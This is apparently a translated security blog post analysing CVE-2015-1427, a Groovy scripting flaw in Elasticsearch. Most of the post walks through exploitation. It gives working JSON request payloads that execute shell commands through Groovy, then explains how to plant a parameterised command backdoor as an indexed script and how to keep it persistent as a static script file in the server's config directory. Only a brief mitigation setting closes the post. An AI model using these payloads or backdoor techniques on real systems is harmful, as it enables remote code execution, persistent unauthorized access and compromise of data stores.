ElasticSearch Remote Code Execution Vulnerability Analysis (CVE-2015-1427) & advanced exploitation
0x00 vulnerability Overview
Combined with the previous article "ElasticSearch Groovy script Remote Code Execution Vulnerability Analysis (CVE-2015-1427)", I first know that the vulnerability in CVE-2015-1427 is on February 13 (the day before the Spring Festival holiday), but when thinking about the new year, I think it should be Groovy's own problem, so I don't care too much. I knew that lupin asked me if I had read the vulnerability and said that he had found a way to bypass the sandbox.
I have a different idea of playing this hole with lupin, and the vulnerability principle has been clearly stated in his article. This article focuses on the various methods of exploiting this vulnerability.
0x01 vulnerability Principle
The cause of the vulnerability is very simple. Due to the incomplete Java dangerous methods in the blacklist of sandbox code, malicious users can still execute Java code using reflection methods. Is this all done? Of course not! Because the Elasticsearch development team does not fully understand the power of Groovy, it is really funny to think that it can only prevent users from calling Java reflection, let's take a look at Groovy's description:
That's right! Groovy is a development language, which means we can implement code execution without using Java. If it is only a sandbox problem, it is better to fix the blacklist and whitelist so that attackers cannot bypass the sandbox and use Java reflection. But how can a language limit most of its functions by using the blacklist and whitelist? So it is the real reason that Groovy is not considered a programming language.
0x02 vulnerability Exploitation
Vulnerability exploitation is actually very simple. You only need to execute the script by referring to the official script instructions. The official document provides two methods for us to directly execute the script code.
Let's take a look at the first method -- directly execute the script, which is the method that everyone is currently using. It is easy to use. The following POST content is directly provided to the/_ search URL:
{"script_fields": {"my_field": {"script": "def command=\"netstat -an\";def res=command.execute().text;res","lang":"groovy"}}}
Shows the effect:
In addition to directly executing scripts, the official documentation also provides a pre-stored script for later execution-Script Index, which is cumbersome to use. Let's take a look at the official example:
// Create a script index curl-XPOST localhost: 9200/_ scripts/groovy/indexedCalculateScore-d' {"script": "log (_ score * 2) + my_modifier "} '// use the Script Index and execute the code curl-XPOST localhost: 9200/_ search-d' {" query ": {" function_score ": {"query": {"match": {"body": "foo" }}, "functions": [{"script_score": {"script_id": "indexedCalculateScore ", "lang": "groovy", "params": {"my_modifier": 8 }}] }}'
Next, let's look at the actual operation. The first is to create a script index:
{ "script": "def command=\"netstat -an\";def res=command.execute().text;res" }
Then execute the Script Index you just created. Because the string cannot be returned in the official example, here I modified the content submitted by POST.
{ "query" : { "match_all":{ } }, "script_fields" : { "test1" : { "script_id" : "indexedCalculateScore", "lang":"groovy" } } }
This method has one more storage step than directly executing scripts, but it is a good way to leave a backdoor. If we create a script index like this:
{ "script": "def res=command.execute().text;res" }
Then execute it like this:
{ "query" : { "match_all":{ } }, "script_fields" : { "test1" : { "script_id" : "indexedCalculateScore", "lang":"groovy", "params":{ "command":"netstat -an" } } } }
A perfect shell command backdoor is completed, as shown in the following figure:
However, the webshell created by using the script index must be enabled with the dynamic script. The last method officially provided for us to call scripts-call static scripts, which can help us maintain the persistence of backdoors.
Use the following method: create a directory named scripts under the config directory, put the script file in, and replace the above script_id field with script_file. Here is a simple example. Put the code of the shell backdoor we just mentioned in scripts, name it vul. groovy, and POST the following data for search:
{ "script_fields": { "my_field": { "file": "vul", "params": { "command":"netstat -an" } } } }
If you are careful enough, you may find that the file I used in the above Code is not the official script_file, because my testing environment is 1.3.5 and 1.4.10, the official example should be the method used for static expressions in the MVEL expression era, so sometimes you cannot find the truth without looking at the code → _ →.
0x03 barriers to thinking
When we started discussing this vulnerability with lupin, we found that we thought differently. He was telling me how to bypass the sandbox, but I kept asking him where the sandbox was? Why don't I feel the existence of sandbox? From the details described in this lupin article, the content of the following official descriptions of this vulnerability, and the official post-fix of the vulnerability, we can see the reflection of the people over the past two days, it is obvious that everyone has been taken to the ditch, and a good code execution vulnerability has become a command execution vulnerability.
The vulnerabilities allow an attacker to construct Groovy scripts that escape the sandbox and execute shell commands as the user running the Elasticsearch Java VM.
If I want to comment on the PoC used by everyone in one sentence, "use C to execute PHP code" would be a good choice. The JELI Vulnerability (or attack method) I mentioned in "a new attack method -- Java-Web-Expression-Language-Injection ), this vulnerability is caused by insufficient recognition of Java superstructure expressions. Struts2 did not think that Ognl could execute Java code, and Elasticsearch did not think that Groovy could implement any Java function.
So here I think it is necessary to remind everyone to be careful about the emergence of barriers to thinking.
0x04 vulnerability Summary Vulnerability Summary
The impact scope is rated as "high". ElasticSearch is widely used in the big data era, and this vulnerability covers about 10 versions, so the impact scope is still very wide.
Personal hazard rating is "extremely high". This vulnerability value can be exploited by using the default dynamic script configuration. Attackers can exploit this vulnerability getshell.
Protection Scheme
Close the groovy sandbox to stop using dynamic scripts:
script.groovy.sandbox.enabled: false